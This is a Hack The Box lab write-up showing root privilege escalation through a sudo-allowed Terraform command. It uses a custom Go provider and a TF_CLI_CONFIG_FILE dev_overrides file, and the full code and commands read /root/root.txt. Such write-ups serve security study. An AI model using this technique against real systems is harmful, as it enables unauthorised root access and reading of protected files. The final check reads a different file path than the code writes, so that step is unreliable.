Terraform is a widely used open-source Infrastructure as Code (IaC) tool developed by HashiCorp. It is utilized by enterprises with infrastructure on Microsoft Azure (Windows environments) as well as those using Linux, since it supports multiple cloud platforms. Terraform automates the provisioning of infrastructure components, such as virtual machines, making the process faster, reducing human error, and ensuring consistency across environments.
A widely used tool like Terraform is often targeted by threat actors. Although there have been several CVEs in the past related to privilege escalation through Terraform, most can be mitigated by enforcing stricter permissions. I recently encountered one of these vulnerabilities on a machine on Hack The Box.
The machine had really strict set of rules: It only allowed a user to run a specific Terraform command with elevated privileges from a specific directory.
User jeremy may run the following commands on previous:
(root) /usr/bin/terraform -chdir\=/opt/examples apply
Moreover, main.tf file validated that the source path was from /root/examples
terraform {
required_providers {
examples = {
source = "previous.htb/terraform/examples"
}
}
}
variable "source_path" {
type = string
default = "/root/examples/hello-world.ts"
validation {
condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
error_message = "The source_path must contain '/root/examples/'."
}
}
provider "examples" {}
resource "examples_example" "example" {
source_path = var.source_path
}
output "destination_path" {
value = examples_example.example.destination_path
}
There was no evident way to escalate privileges and the configuration file followed the path validation as suggested and used by many in the industry for Terraform.
Despite this, privilege escalation was achieved using the following process.
First, I created a custom Terraform Provider in Go — terraform-provider-examples.go, with the following content demonstrating root (superuser) access.
package main
import (
"os"
"os/exec"
)
func main() {
cmd := exec.Command("cat", "/root/root.txt")
output, _ := cmd.Output()
os.WriteFile("/tmp/root_flag.txt", output, 0644)
}
Next, I compiled it on my local machine itself.
GOOS=linux GOARCH=amd64 go build -o terraform-provider-examples terraform-provider-examples.go
Then, I moved on to the target machine, created a directory — /tmp/provider, placed the compiled binary in it and created a new configuration file for Terraform in the /tmp directory.
The naming of the files such as the Provider was done according to the rules in the main configuration files found in /opt/examples directory.
mkdir -p /tmp/provider
# Download and place the custom provider at /tmp/provider
chmod +x /tmp/provider/terraform-provider-examples
cat > /tmp/exp.rc << 'EOF'
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/tmp/provider"
}
direct {}
}
EOF
And finally, the exploit worked because Terraform uses the environment variables and prioritizes them even if -chdir is used or in other words, run from another directory.
export TF_CLI_CONFIG_FILE=/tmp/exp.rc
sudo /usr/bin/terraform -chdir\=/opt/examples apply
This successfully executed the command in the custom Provider which could be verified by reading the file.
cat /tmp/root.txt